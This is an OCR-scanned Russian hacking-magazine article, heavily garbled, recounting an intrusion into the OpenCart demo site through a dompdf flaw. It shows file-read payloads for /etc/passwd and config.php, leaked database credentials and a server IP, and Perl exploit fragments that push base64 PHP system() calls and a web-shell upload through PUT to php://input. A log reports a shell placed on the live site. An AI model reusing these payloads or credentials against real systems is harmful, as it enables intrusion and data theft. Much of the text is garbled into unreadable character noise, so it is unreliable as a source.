6naronpillfiTHaR peaKLlI1R dompdf.php ua cajire )f(epTBbl

3TOro ,lJ,Bv1)KKa 1=1 XOTen C,lJ,enaTb Y,lJ,aneHHOe BblnonHeHllle KOMaH,Ll. 6e3 ItlHKny,lJ,a nOCTOpOHHI!lX <paCinaB. HaY"Ha" c eepcvu PHP 5.2.0 nonaep>K!I!BaeTCl1 06epTKa data., KOTOPYfO !I! 6blno peweHO 3a,Ll.eWCTBosaTb. Flporokon data 6bln onVicaH

B 127 H~Mepe >KypHana, TaK YTO o6paw,awcI=I ryna, a Mbl e,n,eM nansure

I(al< ecerna. 3KcnnowT)= nncan ua csoeM ruo- 6V1MOM Perl. B uenou, 3KcnnoViT 6Y,Ll,eT nOH~neH I!l HelI1CKyweHHoMY B Perl 4enoBeKY, HO TaM q npVlMeHVln O,Ll,VlH TpKJK C 6aweM. liT06bl Te6s:J He cMyw,aTb. Ha BC)iKI!lW cnyyav, noqCHKJ CJlegYKJ"WIO CTPOKY,

""'.'JO~_ .... ~", ... t<!..ll""' __ ""I"_":';.J.>tCOlf. _1" .... -. ..

:~~,',~~:::=,~~'~:,~~l.t.:~~;'.:;.,::='l.e"""l><"""\>''''>< :;:~;;::~;':~::'':::::~!~:';'~;~.~~.;'=' ... ~ "'~~ ..

_,,,j~tu.I""':""'='.""",,,,,,,,,",r~."J.»~''''~·'''''''''''''''\''_'''''ll· ~" .... "n:·"''''''r''''<''"''!'''' ... ,.,"e",,,,,,.,,,,"_ .. ,, ... ,,''jl',,,,,,,_,,,,,,,_,,

...... · •• '~I'.~)_ ~"'. ""'~._I:k':'; ",'{"'>Iol_ .. - ...... , ..

_ .. '".:, :<i«n;....,._~_ .. !>:~~.>lI>LW ..... "'.., .. _ .. ·, .. , t~, , .... ><4

... """ <1<' _...aop....-,J: "II",""",,'~·."""""_''''''-':·'-'' ~j """" /W'nN

$1>1 ,,' , .. 1-1 .... ,,....~,,_ ... ,.~..,~.-.'C~,!I< ,,,"',,,, ,:;,_,,,

.. ,,.... • ., ,·~'J,I ... '}<A~..,._.,-"~l .. , '.1#>"" ,,>;., "?!""'"''l"''~~'''''''''''~'''

"~,"q,,,,, .10<_, '<1""'_., ':I-'<o"~Oll "" .... ·01."""'."""'\00

,._,:q:>" • ...., ... _ _,...' .. ".,,_.~e .. , ~_ ~"""''''fW .. 1li

~':.'~~.~~,~;:!;;~W~.::.::.:~'~;~.':'''' ''i h.''' "" ,_ ..... 'r. .. ';o;e'" ""'_,,,

~· • .I..~·x.J)<.:·""I"' .. ~.ltl'fw1)"".:IUt .., ..

......... t,,"",JlW'J..""'·,,'u~,._""'.""'''' '''''~\~,,~h

<;'W".I"1"'., ........ '''I"'U l~, ..... '''''''"'''.'>O1_ .. ; .• ',.''''''''' ... -. ..... :..· .. .;'''·,~'"....",O

=;:~"':"~e:';~~;~==.!:'=~::;;=:;.""';'>il :'\"':~~:~i·:~,:;'7.:=:,,·:,,~;,:~,~:=~·-;:t

",.IIt. m II: 100 ..... "0<;'" h·.:..-:~ .. ·" .. <~

....... ".~I',"}''"'''''.e<olo,. ·,,''I,..,., ... _'

.~ c, ... "." _.,,,~ .• ~,«,,,,,..uI~_"'n

.",.' ,.''''''''._.._' ... ~.,.-.:<f'O'''' .. , ........ _, ,,~.,..-.._"" ... ",.,~ ... "' ...

~lijj;:f~g~~~~~§~~3:<., .. ~11~:, ~b~·, .• ~~.,t~~'~.4~·'

~ 056

$cmd ~ encode_base64($cmd 'I sed -e :a -e \'$!NiS/\ n/<br\/>/;ta\' 'I;

B nepeMeHHow $cmd cO,Ll,ep>KI!lTCI1 Bse,lJ,eHHas:! T06ov, KOMaHga. ,Ll,OnycTVlM, ls -Ia. CK.neVisaeM ee C TeM OgHOCTpOYHVlKOM, 4TO c npas a. 3TOT CH!I!nneT C sed $=I npuMeHVln nVlWb ,Ll,ns:J Taro, YT06bl rip eofipa-

a oe art, ne peuocu CTPOK B '<br/> ,TaK KaK B nonY4eHHOv, PDF npVlMeH$1eTCI=I HTMLcpopMaTVIposaHVle. B u r or e nonYYI!lTCI=I

cr eny cuiaa KOMaH,.o,a:

Is -la I sed -e :a -e '$!NiS/\ c/<br\I>lita'

'{epe.s naan nepeAaeM pesynsrar nepsoVt KOMaH,D,bl B sed, KOTOPblVt 33HI!lM3eTC)'I cpopMaTVIpOBaHVleM. Bce 3TO uobpo Mbl nepeccnnpyea B base64 VI SCTasmieM B o4epegHOVt KyCOK kona.

my $tobase64php ~ "<?php \@ system (base64_decode( , $cmd'));" ; my $payload = 'data:;base64, e encode_base64 ($tobase64php) i

Hy, a 3,[1eCb refie Y>Ke ,lJ,OmKHO 6blTb ace nOHs:JTHO - 04eHb nOXO>Ke Ha npecflOBYTblW PHP. CaM 3KCnJlOVtT ncasonaer BblnOnHI=ITb CI!lCTeMHble KOMaHgbl, a pesynsrar npVlXO,lJ,VlT B BVI,Ll,e PDFcpa(lna. TYT)i nonyvan: a '-ITO, ecnVl aa MeHI=I Y>Ke C,lJ,enaflVl BClO pa6ory? COBceM aafiun noryrn.rnHa npe,lJ,MeT Han VI 4 VI)'I y~UsVlMOCTew non 3TOT ABv1>KOK. nOI!lCK no nocneAHew sepcVlVl OpenCart HI!lYem He nan. 6blnVl nVlWb crapsie YS13BVlMOCTII1. A BOT no «dompdf exploit» (::lTO Bce-TaKVI CTOPOHHqs:l 6V16n!l!OTeKa) KOe-YTO HawnOCb

Benj Carson 1!l3 «YGN Ethical Hacker Group» cooouian 06 YI=l3BI!lMOCTVI, «rropaa 3aKnKJ4aeTCs:I B TOM, YTO MO>KHO CKaYViSaTb fiKJ6ble cpawnbl

B Bltl,n,e PDF [YTO s:J VI packonanl. O,Ll,HaKO MOW 3KcnnOVIT ncnonsayer bonee wV1poKV1e B03MO>KHOCTVI Ys:l3BVlMOCTVI. K TOMY xe, npo Yl=l3BI!lMOCTb B OpenCart C006Ll1eHO He 6blnD.

A ~TO. ECIlf1 .. ?

V1TaK, 3KcnnOVtT gJl51 gSVI>KKa 6bln roTOB, HO TYf $=I SCnOMHVlJl npo OgHy seuu-. KO,,lJ,3 $=I CKaYI!lSan ,lJ,BI!l>KOK, TO 3aMeTVln, 4TO caur npenocrasnaer

XAKEP 06 /137/ 10

YAa'lHbl~ peaynsrar pa60Tbi aroporo sxcnnoara

OHJlailiHOSYIO ,IJ,eMO-BepClt1to . Iloranuaaeursca, 0 4eM 51? TaK T04HO, Mbl 6yp,eM urrypvoean, o¢¢ca~T! He ecerna. KOHe4HO, eunanaer TaKOe C4aCTbe KaK Y)=l3Bl.1Mblll1 ,IJ,BII1>KOK Ha caMOM caare pa3pa6oT4V1Ka, HO nonpo6osaTb CTOIl1T. KTa He pacxye'r, TOT He nser waMnaHCKoe. nepSblM ,D.enOM )1 cpasy nones nposepsrs. YTO BblnnK)HeT Y5138V1MblV! CKPI;1nT. 8 MoeM cny-iae [Ha J10KanbHDM cepsepeJ OH pyranca H8 Heonpep,eneHHble rtapauerpt,r. Ho B ,o,eMOSepClI11.1 caii1Ta BnOJ1He MO>KeT 6blTb SepCII1R ckpurrra nocaexea VI 6e3 Ys:l3BV1MOCT!.1, J1l1!60 aoofnne orcyrcraosars TaKoiii cxparrr. TaM 4acTO B uensx 5e30naCHOCTVI 06pe3alOT Bee, 4TO TOJ1bKO MO>KHO. KaK 6bl TO HII1 6blJ10, lI1p,eM no cne,rJ,yIOw,ei1 CCblJ1Ke

demo:opencart.com/system/helper/dompdfl dompdf_main.php

Ckpurrr pyraercs T04HO TaK>Ke, KaK lt1 Ha MoeM cepsepe. 3TO xopowo, MO>KeM npononxars 3KcneplllMeHTbi. Ha TOT MOMeHT 6blJla m1Wb OAHa VlAes:! - nplt1MeHVlTb CSe>KeSbl>KaTbl(;1 3KCnJlOVlT, Ha6V1paeM S KOHCOJlVl:

perl dompdf.pl -u~http://demo.opencart.com/ -c~'ls -la'

CMOTPlt1M pesynsrar s coxpaHeHHOW PDF'Ke. OTKpblBaeM, a TaM pyraiorcs: HeBepHb,e; q,opMaT PDF-q,ae;na. Peuinn nccworpers, 4TO >Ke Boo6LL(e cepaep ornan 8 «a-recrse cO,lJ,ep>KaHlt1s:! cpaWJla, nepN1MeHosan cpawn B TeKCTOBIIIK, 3 BHyTP" OW"6Ka PHP:

URL file-access is disabled in the server configuration in.

V1 6na-6Jla-6Jla. 3TO Morno 03Ha4aTb, 4TO y HIIIX H3 cepsepe PHP CKOHq,~ryp"pOBaH KaK allow_url_fopen=off. np" TaKOM pacxnane nporoxcn data He pa60T3eT, Ill, eCTeCTBeHHO, RFI TYT TO>Ke He npoaner. 06lt1AHO, KOHe4HO. HO MeH$1 3TO He OCT3- HOBIIlJlO - R peurwn IIlCK3Tb APyrow cnocof 3anonY4lt1Tb uienn Ha oq,q,cae;Te AB""'Ka

KCTaTVI, H3 nOKa.nbHOM cepaepe >Ke.naTe.nbHO IIlMeTb TY >Ke KOHcpll1rypaL\V1fO, 4TO VI ua YR3Blt1MOM, 4T06bl MaKClt1ManbHO npll16m13V1Tb obcros-enecrea noxaneuoro TecTV1pOS3Hl-1)l K pea.nbHbIM. n03TOMY ~ 111 Y ce6$1 asrcraaan allow_url_fopen=off, 4T06bl B 6YAyw,eM He HacrynaTb Ha rpabnn. OAHaKO. <orna

XAKEP 06 /137/10

recrupyeu.s ,QBlt1>KKltl, CTOIllT -racrpaaaars PHP Ha caMYIO M"rKylO KOHq,"rypa~~IO.

CEPI1R HEY,IlA4 ...

Cua-iana )1 XOTe.n nOCMOTpeTb, KaK pafiorae r Y$13BV1MOCTb Ha ot:PCPcaViTe ABV1>KKa. Bnpyr 411lTaTb cpaVlJlbl BOBce He no.nY4I11Tcs? Ho vero raAaTb - Ha6V1paeM B bpayaepe:

http://derno.opencart.com/system/ helper/dompdf/dompdf.php?input_ file= .. 1 .. 1 .. 1 .. 1 .. 1 .. 1 .. Ietc/passwd

V1 CKa4V1BaeM PDF-cpaCiin co cnVlCKOM nonb30B3TeneVi CV1- [TeMbl. Hennoxo, HO 3TO HaM Mano nOMO>KeT. $=I npVlHs=lnCs=! aa nOIl1CKII1 KOHcplt1rypaL\VlOHHbIX cpaVin03 B Hage>K,lJ,e HaVin1 aYTeHTV1cplt1KaL\lt10HHb!e AaHHble. nr::s=lMO 8 «op-re C"CTeMbl OpenCart nexvr config.php. Ho "Mee; BB~AY. 4TO, npexne 4eM CKa4V1saTb PHP-q:,awJl, HaM Ha,QO era

BO 4TO-HVl6Y,Qb npe06pa30BaTb, VlHa4e OH npOCTO Bblrionuurca KaK KO.o.. 3Ha4V1T, R,D,OBVlTbIVi URL nplllo6peTaeT TaKoilt 8101,0,:

http://demoopencart.com/system/helper/ dompdf/dompdf.php?input_file=php,11

~ dvd

Ha A~CKe "1l1" BV1,lJ,eOpOJlIllK, AeMOHCTp"pYlOll1"e; 83nOM, 6aW-CKpIlInT AIm ncncxa y$13BII1MOCTei1,

a TaK>Ke 06a 3KcnnOVITa )J,11S=1 ,Ll,BVl)KI<a Open-

Cart lronsxo An" o3HaKOMneH""i55

Mo~ 6aW-CKpliinT Anfl noacxa Yfl3BIiIMOCTe~ sa pa60TO~

~ 057

filter/convert.base64-encodel resource= .. / .. 1 .. Iconfig. php

3,o,eCb ~ li1cnOJlb30San ¢li1nbTp ncroxa. KOTOPbl1l1 nO"B"nC" B PHP C Bep'"" 5.0.0. TaK"M 06- pa30M, np04l11TaHHblll1 ¢all1n npeofipaaye rca S CTPOKY. 3aKOA"pOBaHHYIO npn nOMOll1" base64 Me>KAY npoLH1M, XOpOWl'1111 cr.ocof 4V1TaTb 6li1HapHVlKI-1. v1TaK, Vlcnonb3Y51 YR38V1MOCTb, ~ ycneun-o CKa4aJl ccnepxvvoe cpaC1Jla B BVI,o,e PDF. PaCKOA"pOBaB 06paTHo nonY4eHHYIO CTpOKy. " nonY4"n cnenyouiee:

<?php

II DB

define('DB_DRIVER', 'mysql'); define ( 'DB_HOSTNAME' ,

'localhost') ;

define ( 'DB_USERNAME' , 'opencart_llser') ; define ( 'DB_PASS,IORD' , ')1$IkIS;15Yf') ; define('DB_DATABASE' 'opencart_demo') ; define('DB_PREFIX', ");

?>

Tenepb eCTbJlOrVlH lI1 napons nonsaoearens MySQL. Haao npoeep-rrs cepsep Ha Hanli14l11e orxpuroro nopra 3306. C 3a6yropHoro AeA""' aanvcxao:

nmap 85.13.246.138 -p 3306

nmap c905l.L\aeT a TOM, 4TO nopr OTKpbIT. C roro xe ,!J,e,!J.II1Ka npo6yeM:

AOKYMeHTaLV1S1 PHP no MeToAY PUT

mysql -h 85.13.246.138 -u opencart_liser -p

Y Hac aanpaun-aator napons. BSOAII1M ero, HO Hac urn-or JleCOM. MHor04111cneHHbie nOnblTKII1

C pa3HbiX cepsepoa. -repes pa3Hbie npoxcu 111 pa3Hbie MeTO,JJ,bl He naior HII1KaKl>1X pe3ynbTaTOB:

TO HesepHblV! napcns, TO HenOHRTHal1 xaura BMecTO npnrnaureuan. TO CpblBbl coe,!J.II1HeHII1s=J. 0611l,o,HO V1 HenOHSHHO. 06.nOM HOMep O,o,VlH.

3aTeM MHe npuurna B roncsy o,o,Ha Vlge~. Ecnl>1 l>1HKJlYP, yganeHHblx cpaVinos li1 npOTOKOJl data aanpeuieasr, TO 4TO 6Y,Il,eT, ecnn nonpobosars Haillnl s AeMOBepCl>1l>1 caC1Ta sarpyaxy ¢a!ilJlOB? HaM 6bl nparonnnacs 111 sarpyska KapTiI1HoK. 3al<1HKJlYAiI1B KapTII1HKY C PHP-KOp,OM, Mbl MorJllt1 5bl ero BblnOnHl>1Tb. K CO>KaJleHl>1IO, nOVlCK no geMoHCTpaLJ,iI10HHOW sepCVlII1 ap,Ml>1HKII1 He npu-rec HIIIKaKII1X pe3YJlbTaTOB. A,lJ,MVlHKa 6blJla ypeaa+ia B npasax 111 HeJlb351 6blJlO rpy3l>1Tb ,IJ,a>Ke KapTII1HKVl. 06JlOM HOMep naa. nOTOM 51 peurnn B311TbOl 3a apannepu PHP, no connoaars C HI.1MVl - snpyr '-1TO astropar, Ho see 6e3pe3YJlbTaTHO. Cl>1TYaLJ,Vl~ TaKOBa: yganeHHble ¢aV!nbl YVlTaTb Henb3~, 110- KaJlbHble cpa!ilJlbl MO>KHO nOJlY4l11Tb B BVI,IJ,e PDF iI1 MO>KHO BblnonH51Tb PHP-Ko,IJ, nOKaJlbHblX ¢aiiiJlOB. Ho npoxy OT 3TOro scero HeT, ecnlll HeT S03MO>KHocn1 BblnOJlH!.1Tb IIIMeHHO csm:1 KOp,. Torna 51 BCnOMHlI111 npo IItHKJlyg PHP-Ko,IJ,a s noxansuue ¢aiiillbl. Ho KaK 51 He nsrrancs. Hilt CTapbl~ TplOK c nor-¢alllJlaMl>1 apache, HlI1 MeTO,lJ, c /proc TO>Ke He nOMOrJlIl1. 3TO 5bl1l 05noM HOMep rpa.

... HO B ~1TOrE MOR B3RllA

Bce 3TO Ha'-1V1HaJ10 ,IJ,eCiCTB08aTb Ha HepBbl

- eCTb VI YR38l>1MOCTb, VI KOHcpVlr c naponeM K

fiaae gaHHblx, HO BCIO,lJ,Y MeH51 WlllOT neCOM. OCTaBII1B 3TO ,IJ,eJlO Ha CJle,Il,YIOLlJ,!II!iI ,IJ,eHb, s:I 01- npaBV1JlC~ cnars. KaK roaopvrrcs. yrpo ee-iepe MYApeHee.

Ha cnep,yIOLlJ,l.1W p,eHb ~ CHOBa npIl1H~JlC~ KyPll1Tb MaHyaJlbl no PHP V1 paarpefiars ys:l3BII1MylO 6V16JlV10TeKY. BCnOMII1Ha71 npo 06epTKl>1, ¢l>1JlbTPbl " npo-iee. " BCnOMH"" npo php://input. 3Ta 06epTKa n03 BOll)=l er 4V1TaTb POST ,IJ,aHHble, l>1 He3aSVlCl>1Ma OT KaKV1X-Jll>160 ,IJ,l>1peKTl>1B PHP. B o6w,eM, 3aTe51 M051 6blna raxosa: SMeCTO ¢aillna nO,JJ,CTaBII1Tb ,Il,aHHYIO 06epTKY, a HY>KHbl!il KO,IJ, nocnars B POST -MaCCIllBe. B IIITore crpoxa 3anpoca S 3KCnn0ll1Te ,IJ,On>KHa 6blTb TaKOIl1:

http,I/ ... /dompdf.php?input_ file=php,llinput

6blCTPO Ha6pocas Ha KoneHKe Perl-CKpll1nT, s:I npf1HI1JlCI1 recrwpoaars 3TOT MeTog. Ho 6blJl >K~TKO orop-reu. ,1J.aHHble, npVlHII1MaeMble 1113 POSTMaCCl>1Ba, npIllXO,IJ,Vl11V1 KaK 3aKO,Il,lIlpOSaHHble URL- 3KSIllBaneHTbl; K TOMY >Ke nonHOCTblO npnxonuno KaK cOp,ep>Kl>1MOe, TaK VI Ha3BaHV1e nepeMeHHo!il. To ecrs. nony-rancce TaKOe 6e306pa3l11e:

var=%3C%3Fphp%20echo%28999%29%3E

nOH51THO, '-lTO :310 He 6yp,eT Bblno.nH~TbC51 KaK KOA. CHOBa Ha,IJ,O fiuno P,YMaTb l>1 V1CKaTb ansTepHCllll1tlHble tlapll1aHTbl, a Se,IJ,b C4aCTbe 6blJlO TaK 5nl>13Ko. B nOV1CKax MeTop,OB Mogl>1¢!ltKaLJ,\II1I1 nepenasaevux 3Ha4eH"" -repes php://input" Ha6pen Ha MeToA PUT. HaAO 6bl nonpoboaars ero - OH npouie, 4eM POST, HO nOAAep>KWB2- eTCI1 He BceMII1 cepaepat-ra 111 He scerna. iI1TaK,

l\YIttar fH ... x NewlllD x Cl ~ttp"/lDca ... x _'Ip~p inlfnt ...

"'PHPManuai

«Uploatfing multiple fiJes

"'w'~~IIIJO"" ~kl"~"MO:==3~m

~Handling fife uploads

PUT method support

• J>OS1 ... "hc<l uplOD.~'

• e"«Me"~~·F.·rAnl"'~

IItlp"flOL. > .{lpllpWTap ... x eiPHP".ust". " [jPHP.PHPI... x .·lpllpJ/stdJ.H x [j1PHP·OO ... "

U$lng remote jres»

• Upl""dln~mul!iploh"'.

• PUT mf'hQd'~~POn

PHP prollides support tor the HTTP PUT mcurcc used by some cncras 10 store ~Ics on" seNer. PUT requests are much simpler tn(U1 "flle upload uShlg POST .equests ""dlllCy 1(>(>1< ~(>melhing fike Ihis;

crllli ~UTIJlu!.php

Tills would nl)mlaily meen Ihal Ihe remote cneru \Vould hke 10 save Ihe COlllenl Ihal renews as:/palhhllename.ntml III your web tree. II IS otwlously nOI a 900(1 Idea for Apache 01 PHP 10 aUloma!icauy lei eve,ybody ovel\' •• ne any hIes In youl web uee. So. to Ilandle such a request you have 10 IlrM tell youl web server thai you W'illll a ce,taill PHP SCliPllO Ilandle ure request, II' Apache you oo Ihis with the Scrlpl (Iireclive.1I can be placed all1lost anywhele In YOUI Apacllc configulalion ~Ie. A common placc is inslac a ~OlfcClOry> Dlock or perhnp~ ms.oe a "V;,IJ/,lll-loSI:> block. A line Irke this wo<>d do the ntck;

ElIan:pl.lil SavlnglHTPPUT Illes

Tills tells Apache to send all PUT reqcests to( URis rhat match the conle~1 m which you pUI this ~ne 10 me pUI.php scnpt. Tills assumes. 01 course. Ihat you have PHP enabled 10' Ute .php eXl<!flslQrl and PHP IS aClive. TIle uesnnaucn resourcetor arl PUT requests 10 Ihis scriplhMlo ee me scrip! nse~. not 11 ~Ienametheuploade(l Me should have.

W~h PH? you would then (10 something like the 101J00\1ng in your plrt.php. This wo\lld copy the ccraerus 01 me uploaded ~le to me ~Ie mypUllr1c.e~r on the seNe'. You would probably WMlto plNform some cnecu andlor :Wlhenllcllit lt1(!use.belorepenomlingthls~!ecopy.

<?php

• PlJtd.ll~rornl'SUlonrIlO!"sldm'ITf".II11· $putd.ll~=fope!1(php;f/input·.Y):

• Opm~hl~fot"Tlting·

srp :'fopm("m)lIu1fil •. \'.U· .• ,,~):

• R""'lho!ll,"~1 KS.tl1inw ~"'ljltrolh~fi'"

... ·hlle(SdJt~., fr~.d!$puld.tJ.102.t)) f"Til~$rp.Sdm);

• CI,,~c Iht jlt«m~' fdosI'(Sfll): rdosl'($p~ld.t.);

??

usln9 rcmote hies»

«uploamn9muIOple!lleS

~ 058

XAKEP 06 /137/10

I)r57sheD

coence-t.ecm system helper dompdf newi.php

C X ti !J

··fGooglc

ESoQ ... + :!to

! 67shell ~~~~~'::£:~~1;~:~:'~~1I1 :~~.} ~~1~ ~~s~~:;;l ~;!1o~::; 1~ OFP

1.4 "::,:·.;!~·ru';::!:""'~-I~::s .. t:oII_"''''',''-·l_..._.>'lr1.''.'''--'_''CO.PCI"",'', 1.<_"'l1,pr""_!l<!I_.'.I ••. pr .. <_Ill" .. ;p'· __ t ", c._ .. ~, Ir, ~ • ..u<_d,II.IIIIII' •• '_JII ' .. ak,41.kf< __ p __ • ....,c _ J 'OI' II"' 0 .. '_ _

~ ~, 1 ....... "_U.II .......... 2.a .. :l.6.IO.IIi4.n.I.~.l 5,uoW"""" .. 17 "~7,'4 UTI:lOIOI6NIGII6I3I"m..-u,u.._

., >1,

.03TI1'll, u."".p'

S ....... , ... p.cI ... ·l.:l.41'U.1.<1 ""1 •••.• """J09_",,_t.J: .00000000U."oCIII _.ulfU> ... I ....... II"" •• I._thQ''''S.O.2.21D~ .......... 1

l~: ;~:.:.=""";".:.~r11Ji:;=';=.::,.~!.:::..:.."::c'.!.._..<::...,.. 1

fiOt" .. 12G8 1494~202 W!;.~.~ 4 .911.~ !!R9.!!fU..t 4096 Apr

14945201~·&:·x3!!Reu..at.t.g!IS!WRt 4096~ar2901:17 ••

14945203 ·!);j·r··r·· l!!Il.~!£US !!P.~ 31788 nar 29 Ol:l1&!JMQ'S!,9.Ji lA945206·~·r 1911.OW:JI..:;.t.\l~ 1199l1ar2901:11)!ACKII/G 14945207-.QI·r.r··lS~9AAQ[m 4519~ar2901;l1I11STAlL

14945208·£)j·r 19P~~)I.xJ26430H~r2901:17LICE))SE.!&!J..

14945210-Qi·r 19R~t9~10032I1ar290l:17

14945211·~·r 1~!J9PS.1!£Ul ~OS9I1.1r2901:17

149~52(1.t -ts-r ·r·· 19~~SP..~ 7964 uar- 29 OL:17

1494~205-~·r l~tSQ.l1JlU.!:J 6847I1.1r2901:17 ·g.inc.BAA

L495(1.t4S·QI-r·r-·LSll.~t~~t 4G)7Apr1L9:37 _

149Sffi10 ·QI·r··r·· L ~R~.M..t ~ 85 Apr 1 L9:37 ~.PllR L49~S212!1m.c·&:·~2S11$%..u..tg~ 409611ar2901:181nclude 149452715 !tmt.&:.~ 4 9~ ~ 4096 liar 29 01:18 lib

14NS21l9 -Qi·r··r·· 199m.w!!R~ 7967 liar 29 01:17 lnad_font.WR

l49Se571-~-r·-r·· L~~~ 1222J1 Apr 119:37~.P.!lp.

Pj .. ~,~" l,tQ"

'" dh~ '!ii~mw9llSP.w.YPubtJcJi.!'lIJfd~mol,)·,'omftlclpcr/~ O"'j""'ll ... ,'O.w.:.llNt-~

r,,'fQ.llndl-"'--

Haw wenn BO Bceil Kpace :)

3aMeH"B POST Ha PUT, np06yeM nocnars KaKYIO-HII16YAb CTpOKy. «crcpas nonxua asrnonHII1TbC)i KaK PHP-KOp,. V1 4TO Tbl gYMaewb? 3TO npOKaTII1JlO, ckpnnr nOJlY-.1aeT l-llllCrylO CTPOKY, KOg aunonuaerca. Bropou 3KcnnoiliT OCHosaH ua MeTOAe c PUT" php.nnp.rt, OH sarpyxaer np0ll13B~nbHble cpailinbl H3 cepsep C Y}:l3SV1MOili 6 V16ll V1OTeKO III , ,n,eIllCTSYI=I 8 HeCKOJlbKO 3TanOB. BOT KyCOK 1113 sxcnnorrra:

my $tmp_shell :::::: «' B64' i <?php

if (@move_uploaded_file($_FILES [ , f i. ' ] [ 'tmp_name' 1 ,$_FILES [ "f i ' ] [ "name t l ) )

ecnoj s J : @unlink(_FILE_l i

B64

my $she1164 = encode_base64 ( $tmp_shell) ;

my $tophp = sprintf {

"cvphp eval (base64decode ( '%s' ) ) i " , encode_base64 ( "file_put_contents( 'i.php', base64_decode (' $shel164' ) ) i")

);

It Stage 1, . exploit ing DOMPDF vulnerability.

my $req = PUT "$url/dompdf.

php? input_file=php / / input", Content => $tophp;

B nepeMeHHOfi $tmp_shell y Hac BpeMeHHblfi MV1HV1-WellJl. Ero aanaua - 3arpY3V1Tb ¢allln

[p,lls:l Hac npennovrwreneao nOnHOlJ,eHHbl~ urennl 111 y,lJ,allV1Tb cauoro cefis. 3TOT MII1HII1-WeJlJl 6YAeT sanncaa B ¢afin i.php npn BblnOnHeH""

XAKEP 06 /137/10

"P.:.e~~'"c"""~d_~",,""""

~

--fl'<iii1ili!

"Sft.rc~ 1,,,,1 I. nI ..... ,1a lI.d "

---"""

PHP-KO,lJ,a. B nOcne,lJ,Heiii CTpOKe Y Hac uaxoA"TC" nepnoBblfi sanpoc PUT. B np"H~"ne, TYT sce ,lJ,OmKHO 6t:ITb VlHryVlTII1SHO nOHI=ITHO. 3TOT Vl caMblili nepBblCi 3KcnllOlllTbi II1lL1,V1 Ha p,VlCKe

TaKV1M 06pa30M, asrpoc BTOPOIII 3KcnlloiiiT. Oplt1eHTlI1pOBaHHbl~ Ha BapV1aHT, «orna allow_ url_fopen=off. Ha llOKanbHOM cepsepe ace 3aMe4aTeJlbHO paboraer. uienn 3aflV18aeTC)i. Teneps OCTaeTC~ CKpeCTV1Tb nansuu 111 3anYCTlIITb Haw 3KCnJlOiliT nporvs ,lJ,eMOBepClIIVI calliTa. CHOsa COe,lJ,VlHs:lIOCb co CBOV1M p,ep,II1KOM 111 3anYCKalO orryna sxcnnoar.

www-data@sd,/var/www/lib$ . /e.pl -u=http://demo.opencart.com/ -s=. logs.php

www.opencart.com exploit

[-~] Exploiting http://demo. opencart.com/

(+ J Ok, uploading shell.

[+] Ok, response[9] , checking for shell.

(+} Ok, shell, http,//demo. opencart.com/system/helper/dompdf/ newi.php

KaK Tbl nOH!IIMaeWb. reneps MHe nonesnn, 111 urenn aannnca. HaXOp,>1Cb BHyTpVl cepaepa,

R YBV1p,ell, 4TO a,lJ,MV1Hbl cep aepa noorpyfiann MHO>KeCTBO onaCHblX CPYHKLl,V1111 PHP, uerinoxc HaCTpOV1JlIl1 PHP-KOHcpV1r, HO 3TO V1X He cnacJlO. V13HayanbHO nocraaneuuas MHOIO lJ,Ii=Jlb 6blna AOCTVlrHYTa - npe ono net e nepSblili pybe:«. 3am1Tb wenn. Haxcnsci, Ha cepaepe.

MO>KHO 6blJlO navnan, 6a3y .uaHHblx. PYTaTb cepsep. AecpeiiiCll1Tb VI TaK nance. HO 3TO He BXO,lJ,lI1ll0 B MOlt1 nllaHbl. s:l nocryruin fio nee rYMaHHo, coofiurae a)J,MII1HV1CTpaTopaM 05 Ys:l3BII1MOCTVl. Ap,MII1Hbl noncyerunnc s B TOT >K8 )J,eHb, TaK 4TO Ha ocpcpcaViTe nocneAHs:ls=! sep(l;1~ (1.4.61 He nonnae rcs 3KCnJlOIliTY. n03TOMY MO>KHO HaTKHYTbCR KaK Ha YI=l3SII1Mbllll, TaK V1

Ha 4\t1CTblili ,lJ,BV1>KOK OAHOIII VI TOIII xe sepCII1Vl.

X3nn~ 3H,ll

KaKOIll ypox MO)l(HO 1I13Bne4b 1113 3TOIII V1CTOPIl1V1? ATaKYIOw,eiii CTopOHe - He cgasaTbcs:I V1 He orcrynars. a wesellV1Tb M03raMlt1 111 VlCKaTb nyTItl ofixona. KaK Tbl Mor Ha6JlIOp,aTb, Anl=l roro, 4T06bl nonacrs ua cepsep, MHe npaurnocs nepe6paTb HeMalloe KOJlV1yeCTSO pasuax TeXHllK VI MeTOp,os axcnnyarauan Y5l3BII1MOCTeili. \..jTO no nosony pa3pa6oT4V1KOB. TO eCTb rakas nOCllOBVlLJ,a: «,lJ,0 sepn iii , HO npoBepS1I11». B ABVI>KKe, C KOTOPblM Mbl pa60TanV1. 6blJla npuMeHeHa YI=I3BII1Ma>i ClOPOHH)i)i 61116nV10TeKa, YTO V1 crano npW1V1HOIll ycnewHolll aTaKVI. A Be,lJ,b 06 Y)=!3SI'lMOCTVI 6blJlO Vl3BeCTHO ew,e AO Moero 3KCnnorrra. 3TO rOBopV1T 0 TOM, 4TO pa3pa60TYIt1KIt1 ,lJ,BV1>KKa He VlHTepeCYIOTCs:I 6e30naCHOCTblO, He 41-1Ta\OT 6arTpeKlII. na It1 aYAII1T cBoelii Clt1CTeMbl

B lJ,eJlOM He npOBOAs:lT. B urore cpV1HaJl TaKOB, KaK OH ecrs. Ho OAHO 6blJlO cnenaao npaannsHO. CaMIll VlCXOgHV1KII1 ,lJ,BlII>KKa HaXOp,I=ITCs:I Ha XOCH1Hre OT Google. B03MO>KHO, ecn« XopOWO noacxars. TO MO>KHO 111 ua o¢cpcalliTe HalliTlII ayTeHHlcplllKaLJ,1I10HHble AaHHbie AJl)=! XOCTl;1Hra npoexra, HO 3TO Y>Ke norpefiyer HeMHoro 60JlbWlI1X YCVlJllIV1. nOMV1MO 6e30naCHOCTII1, 3TO CHII1>KaeT HarpY3KY Ha cepsep. OCTaeTCs:I 60nbwe MeCTa, He pacxonyerca Tpa¢"K.

B 06w.eM, Y4It1Cb, He Bpe,lJ,1I1 111 II1CnOJlb3YIII 3HaHIt1)i B 6narV1X HaMepeHII1S1X. X

~ 059

~" ~~.- -v~~~ • ... 9(),.s"~O~
:. ~G G~"
•• rOOM r0064ffimaiL r~ ~~
#' ~<t,
~ tV() ~~~
~ !t;VV
~ !':~ <~ ~
8~ t;:;
# 04
~
t8 ~ ~
s
..,
""'" {;f ~
iii IMH
'2
~ c
U) C
I iW
Q C
C) •

~ 11\ Ii
,
0
'i. C) n~WEM RI ,.
~
~ r-
no.n WIND B
